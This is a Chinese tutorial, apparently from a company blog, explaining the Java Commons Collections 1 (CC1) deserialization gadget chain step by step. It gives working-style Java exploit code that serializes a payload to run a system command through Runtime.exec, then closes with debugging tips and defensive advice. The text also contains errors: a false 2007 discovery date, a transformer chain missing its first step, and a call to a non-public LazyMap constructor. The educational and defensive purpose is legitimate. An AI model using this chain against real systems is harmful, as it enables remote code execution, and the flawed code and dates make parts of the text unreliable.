☰
Java反序列化漏洞CC1利用链详解:从原理到防御
2026/10/10 9:51:04 网站建设 项目流程

1. 一次反序列化漏洞的“课前预习”

先聊点轻松的。假设你写了一个Java程序,负责把用户对象保存到文件里,方便下次启动时直接恢复。Java的序列化机制能干这事,把对象变成一堆字节,再写进磁盘。下次用的时候,反序列化把这堆字节变回对象。听起来很完美,对吧?问题就出在“变回对象”这一步——如果字节流是攻击者精心构造的,那变回来的可能就不是普通对象,而是一连串恶意动作。

这就是Java反序列化漏洞的核心逻辑。关于它的经典利用链很多,但几乎所有入门教程都会从CC1开始。CC1,全称是Commons Collections 1,是2007年被发现并公开的一条利用链。它之所以经典,是因为它把“反序列化”和“动态代理”“反射”“方法拦截”这几个概念串在一起,一条链子打通了从“入口”到“命令执行”的全过程。你把它搞懂了,后面再看CC3、CC6、CC7,基本上就是换汤不换药,理解成本直线下降。

这篇文章主要面向谁?已经会写Java基础代码、知道反射和动态代理大概是什么、但还没系统接触过安全攻防的开发者。如果你是纯小白,建议先补一下这几个概念,不然直接上手会有点吃力。我会尽量把每个环节的“为什么”讲清楚,而不是甩一段POC就完事。搞安全最忌“知其然不知其所以然”,那样你连自己写的EXP为什么会失败都排查不了。

先说清楚,这篇文章里的所有代码和思路,仅用于本地环境的学习与验证,不涉及任何真实系统,也不应该拿去测试你没有授权的目标。反序列化漏洞本身是个很有意思的编程逻辑问题,搞清楚它,对写健壮代码也有帮助——你至少知道哪些库用起来要小心,哪些写法容易埋雷。

2. CC1利用链的核心思路拆解

2.1 从“入口”说起:为什么是AnnotationInvocationHandler

CC1利用链的入口点,是sun.reflect.annotation.AnnotationInvocationHandler。这个类在JDK里,是Java注解处理机制的一部分。为什么选它?因为它实现了InvocationHandler接口,同时也实现了Serializable接口——既能被反序列化,又能在反序列化后触发动态代理的调用逻辑。这两个条件缺一不可。

这里就体现出入门者最容易忽略的一点:找利用链,就是在找一条“从readObject到危险方法”的路径。readObject是反序列化的入口,几乎所有利用链都要从某个类的readObject方法开始“点火”。AnnotationInvocationHandler的readObject方法里,会读取反序列化得到的Map成员变量,然后遍历Map的key,并且对每个key执行entry.getValue()之类的方法调用。这一调,就把控制流引向了我们精心准备的Map。

我想重点强调一下这个“控制流”的概念。安全利用链,本质上就是控制流拼接。正常程序里,readObject只是恢复数据;但在攻击者眼中,readObject是一个可以触发任意方法调用的“跳板”。你只要控制好这个跳板的目的地,就能让程序执行你想要的逻辑。CC1链的核心,就是通过控制AnnotationInvocationHandler的Map成员,让它把调用导向InvokerTransformer——这才是整个链子的关键转折点。

2.2 “扳机”所在:Transformer与InvokerTransformer

InvokerTransformer是Apache Commons Collections库里的一个类,位于org.apache.commons.collections.functors包。它本身是实现Transformer接口的,这个接口只有一个方法transform(Object input)。InvokerTransformer的用法很特别:你在构造它时传入方法名、参数类型和参数值,然后在transform被调用时,它会通过反射,对传入的对象执行这个方法。

打个比方,InvokerTransformer就像一个“遥控器”。你提前设定好“按哪个按钮”(方法名)和“按完做什么”(参数),等你把遥控器交给别人(让别人的代码调用它的transform方法),对方按下按钮,命令就执行了。在CC1链里,我们想让transform方法执行的,是Runtime.getRuntime().exec("计算器命令"),这样就能在目标机器上执行任意命令。

为什么选Runtime而不是别的?因为Runtime是JDK内置的、可以直接执行系统命令的类,而且它的构造方法被藏起来了,只能通过getRuntime()拿实例。所以在利用链里我们要做的,是反射调用Runtime.class.getMethod("getRuntime"),再调exec。这个细节非常关键,很多新手第一次写的时候,直接Runtime.getRuntime().exec()就完事了,但反射的写法必须拆成两步,因为InvokerTransformer一次只能调用一个方法。

3. 关键类逐个击破:LazyMap、ChainedTransformer与动态代理

3.1 ChainedTransformer:把多个步骤串起来

先看ChainedTransformer。它也是Transformer接口的实现类,但它的作用是把一组Transformer串起来,前一个的输出作为后一个的输入。这个设计初衷挺朴素的——你想把数据做一系列变换,比如先转成大写,再截断,再拼上后缀,ChainedTransformer就能帮你按顺序执行。

但在攻击链里,它成了一个完美的“流水线”:第一步,拿到Runtime类;第二步,调用getRuntime()得到实例;第三步,调用exec执行命令。这三步正好对应三个InvokerTransformer。你把这三个transformer塞进ChainedTransformer,只要触发一次transform,整条流水线就自动跑完,最终在目标机器上弹出计算器或者执行命令。

这里我要提醒一下:构造InvokerTransformer时,方法名和参数类型必须完全匹配,不然反射会抛NoSuchMethodException。很多人在这一步卡住,以为是链子断了,其实是参数类型没写对。比如getRuntime和exec的参数类型,前者是无参,后者是String.class,这些细节在写代码时一点都不能错。

3.2 LazyMap:延迟只有一层

再来看LazyMap。它包装了一个普通的Map,当你调用get(key)时,如果key不存在,它会调用一个Transformer的transform方法,用返回值作为这个key的默认值,然后放进Map里。这个机制本来是给工厂模式用的——延迟创建对象,优化初始化性能。

但在CC1链里,LazyMap成了“触发点”。因为AnnotationInvocationHandler在遍历Map的key时,会调用map.get(key),而如果这个map是LazyMap,且key在Map里不存在,get就会触发transform,进而启动ChainedTransformer的流水线,最终执行命令。

这条链的关键在于“key不存在”这个条件。如果你的LazyMap里已经包含那个key,get就会直接返回已存在的值,根本不会触发transform。这是CC1链的一个“踩坑点”,也是后面调试时最常见的失败原因。很多新手一上来就把key随便填一个值,结果LazyMap里恰好有它,整条链静默失效,毫无反应,这是最容易让人抓狂的一个细节。

3.3 动态代理:绕过readObject边的“最后一跳”

到这里,链条基本成型:AnnotationInvocationHandler.readObject -> map.get(key) -> LazyMap.get -> ChainedTransformer.transform -> Runtime.exec。但如果你真按这个思路去构造,会发现实际跑不通。为什么?因为AnnotationInvocationHandler的readObject方法里,对Map的遍历调用方式和你想的不太一样——它调用的不是get,而是在某些条件下才走到get,这个“某些条件”不是总能满足的。

这时候就轮到动态代理登场了。动态代理是Java提供的运行期生成代理类的机制,当你调用代理对象的任意方法时,控制流都会先进入InvocationHandler.invoke方法。如果把LazyMap放在AnnotationInvocationHandler的memberValues位置,外部对Map的entrySet等方法的调用,都会先经过invoke,而在invoke里又能调用this.memberValues.get,从而触发LazyMap的transform。

这个过程文字描述有点绕,我画个步骤列表帮你梳理一下:

  • Proxy.newProxyInstance创建一个代理对象,代理的接口是Map。
  • 代理对象的InvocationHandler就是那个AnnotationInvocationHandler实例,它也持有LazyMap。
  • 对代理对象调用entrySet(或任何方法),都会进入AnnotationInvocationHandler.invoke。
  • invoke内部,如果方法名不是toString之类特殊方法,就执行this.memberValues.get(name)。
  • memberValues是LazyMap,get触发ChainedTransformer。
  • 命令执行完成。

这就是CC1里“动态代理”的妙处:它不仅让Map接口的调用被InvocationHandler接管,而且把自己的memberValues作为LazyMap暴露出去,让代理对象的方法调用能够间接触发LazyMap.get。这个思路,后来在其他利用链里被反复使用,比如TemplatesImpl配合动态代理绕过限制的变体形式。

4. 实操验证与代码细节记录

4.1 环境准备:JDK版本与依赖缺一不可

在动手之前,环境要选对。CC1链对于JDK版本有讲究:高版本JDK(大约8u71之后)里,AnnotationInvocationHandler的readObject被做过一次改动,导致原有的“直接通过readObject遍历Map”这条路径失效。所以,调试CC1最稳的组合是JDK 8u20左右,配合Commons Collections 3.1或3.2.1(3.1最原始,3.2.1也常用)。高版本JDK能不能跑?能,但需要换入口或加辅助类,那已经是变体链的学习范围了。

依赖方面,你只需要一条commons-collections的jar包,放到项目的classpath里即可。我用的是Maven工程,直接在pom.xml里加依赖:

<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>

注意:Commons Collections 4.x版本的包名和内部结构有了变动,比如InvokerTransformer还在,但包路径变成了org.apache.commons.collections4.functors,而且很多类加了final修饰,不直接支持这条链。所以学习CC1,请务必使用3.x版本。

4.2 逐步构建利用链的代码片段

下面是验证用的关键代码。为了控制篇幅,我拆成几段写,逻辑上是连贯的。第一步,构造用于执行命令的三个InvokerTransformer:

Transformer[] transformers = new Transformer[] { new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new Object[] { "open -a Calculator" } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第二段,构造LazyMap,并放入一个不存在的key占位:

Map map = new LazyMap(new HashMap(), chainedTransformer);

第三段,构造AnnotationInvocationHandler,并通过动态代理让它变成Map接口的代理:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, map); Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] { Map.class }, handler );

第四段,真正构造用于反序列化的Payload对象。注意这里要再包一层AnnotationInvocationHandler,把上面生成的proxyMap作为它的memberValues传进去,再通过readObject触发动态代理路径:

InvocationHandler finalHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); // 序列化 ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(finalHandler); oos.close(); // 反序列化,触发Payload ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject();

这段代码跑起来,如果一切正常,会看到计算器被弹出。这是安全社区惯用的验证方式。但我要说清楚:这四段代码之间,每一步的构造都是有原因的,尤其是“两次创建AnnotationInvocationHandler”这个环节,新手特别容易绕晕。

第一层handler,是给动态代理用的,让代理对象的方法调用被拦截;第二层finalHandler,才是真正要被序列化后反序列化的那个对象,它的memberValues是proxyMap,所以当readObject处理它时,会去遍历memberValues,而memberValues本身是个代理对象,遍历操作就会被代理拦截,最终走到LazyMap.get。

4.3 我实际踩过的坑与调试技巧

第一次写CC1时,我犯过三个低级错误,这里直接给你避坑:

第一个坑:AnnotationInvocationHandler的构造函数不公开,必须用getDeclaredConstructor拿到所有构造函数,并且setAccessible(true)才能实例化。很多IDE自动补全里看不到这个构造函数,以为它不存在,其实只是包了一层访问权限而已。

第二个坑:动态代理的接口必须包含Map,但你创建的代理对象不能是AnnotationInvocationHandler本身强转来的,因为你拿到的实际对象是Proxy.newProxyInstance返回的代理对象。如果强转不对,类转换异常也是常见的报错。

第三个坑:LazyMap的key不能提前存在。上面代码里,我把proxyMap作为finalHandler的memberValues,而动态代理的方法调用会传入“方法名”作为key,比如entrySet这个名字在proxyMap里并不存在,所以每次调用都会触发transform。如果你之前往proxyMap里放了一个同名的key,那get就直接返回了,链子就断了。调试的时候,可以用System.out.println打印map.containsKey("entrySet"),确保是false。

另外,我强烈建议学习反序列化链时,配一个可以逐步单步调试的IDE,比如IDEA,把断点打在ChainedTransformer.transform入口,一行一行看调用栈。你亲眼看到transform被触发时,程序员会豁然开朗:原来整个链的“发力点”在这里。这种“亲眼所见”的理解深度,是看任何文章都代替不了的。

5. 版本差异与绕过空间的延展思考

5.1 JDK版本为何如此敏感

上面已经提过,AnnotationInvocationHandler在JDK 8u71以后有过一次安全加固。具体改了什么,简单说就是:readObject里不再直接对memberValues进行遍历,而是新增了“必须校验memberValues的类型”之类的条件。结果导致原来的直接触发路径失效,攻击者不得不另想办法绕过。

这种“版本敏感性”在Java反序列化漏洞里特别常见。2015年前后,一大批利用链被公开,都是在旧版本JDK上验证的。随着JDK不断打补丁,有些入口还能用,有些就彻底退场。所以做安全研究,一定要记录自己用的JDK版本和Commons Collections版本,不然过了几个月回来,同样的代码跑不通,你会怀疑自己是不是记错了。

给新手一个建议:搭一个专门的调试环境,把JDK版本固定下来。你可以装一个JDK 8u20的版本,配合一个8u202(高版本)的JDK,两个环境都配好,方便对比不同版本的行为差异。这种“对照组”思路,比死记硬背漏洞利用条件要管用得多。

5.2 从CC1到后续利用链的“家族相似性”

CC1学完之后,再看CC3、CC6、CC7,会容易很多。为什么?因为它们都共用同一个核心武器——InvokerTransformer和ChainedTransformer,只是在“谁先触发”这个问题上换了不同的入口或者辅助类。

  • CC3改用了TemplatesImpl来触发,绕过了一些环境对InvokerTransformer的限制。
  • CC6利用了HashSet或HashMap的反序列化特性,让触发点不再依赖JDK版本太深。
  • CC7则是换了一个Hashtable的入口,绕过了某些JDK版本对AnnotationInvocationHandler的限制。

所以,CC1是地基,地基打得稳,后面的楼才好盖。如果你只想“背Payload”,不深入理解控制流是怎么一步步被接上的,遇到版本升级或者依赖变化,就会寸步难行。

6. 面向防御的思考:这条链告诉了我们什么

从防御角度看,CC1链至少给我三个重要提醒。

第一个提醒:不要轻易反序列化不可信数据。任何来自网络、用户输入、外部文件的字节流,只要走了ObjectInputStream.readObject(),就相当于给攻击者开了一条“逻辑执行通道”。很多业务系统里,反序列化被用在缓存、消息队列、Session持久化等场景,开发者根本没想过数据可能被篡改。

第二个提醒:依赖库的版本管理要严谨。Commons Collections在过去很长一段时间被大量项目使用,很多老系统至今还带着3.x版本的库。攻击者只要探测到你用了这个库,再找出对应的利用链,就能直接打穿。如果你没法升级这个大版本(因为兼容性问题),至少要加反序列化过滤,比如ObjectInputFilter,只允许白名单类通过。

第三个提醒:代码审计时要关注危险类。对于安全开发者来说,InvokerTransformer这类“反射调用任意方法”的组件,天然是高风险项。即便不是为了攻击,在自己代码里如果出现了“把外部可控的字符串拼进方法名然后反射调用”的写法,也应当警惕。这是反序列化漏洞的同一个毛病——不加约束的“动态行为”。

我在实际工作中,会习惯性地在代码评审时列出所有继承Serializable且重构了readObject的类,逐个看它们的readObject里做了什么。这个习惯在看过十几个利用链之后会形成直觉,因为你会发现很多“看似正常”的序列化类,在特定条件下都能变成攻击者的跳板。

7. 最后的实操小结与调试建议

这篇文章讲到这里,核心内容已经齐了。如果你是自己动手学习,我建议按这个步骤来,而不是直接复制全文代码:

  1. 只写一个InvokerTransformer,手动调用它的transform方法,传入一个Runtime对象,看看能不能反射调用exec。这一步是验证“扳机”是否有效。
  2. 把三个InvokerTransformer拼成ChainedTransformer,手动调用一次transform,确认流水线能跑通。
  3. 把ChainedTransformer放进LazyMap,手动调用map.get("随便一个不存在的key"),确认transform被触发。
  4. 引入AnnotationInvocationHandler和动态代理,完成整条链的拼接。
  5. 最后做序列化与反序列化整体验证,弹计算器。

每走一步,都在IDE里设一个断点,观察变量值和调用栈。这种“从零件到整机”的搭建过程,比直接跑通一个POC更能加深理解。

如果你在调试中发现命令没执行,从三个方向排查:一是LazyMap的key是否已经存在;二是InvokerTransformer的方法名和参数类型是否匹配;三是finalHandler的memberValues是否为proxyMap而不是原始LazyMap。八成是这三个原因之一。

最后提醒一句:反序列化漏洞的学习,重点在于理解“不可信数据如何被诱导成为控制流跳板”,而不是教你如何使用工具去攻击。搞懂了原理,再去写防御代码,才能真正做到心中有数。这也是安全这个领域最有意思的地方——你越了解攻击者的精巧构思,你就越能明白,那些“看起来没什么问题”的代码,防线到底脆弱在哪里。下一步,你可以带着这份理解,去拆解CC6或者CC3,到时候你会觉得:原来整个家族都是同一个套路。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询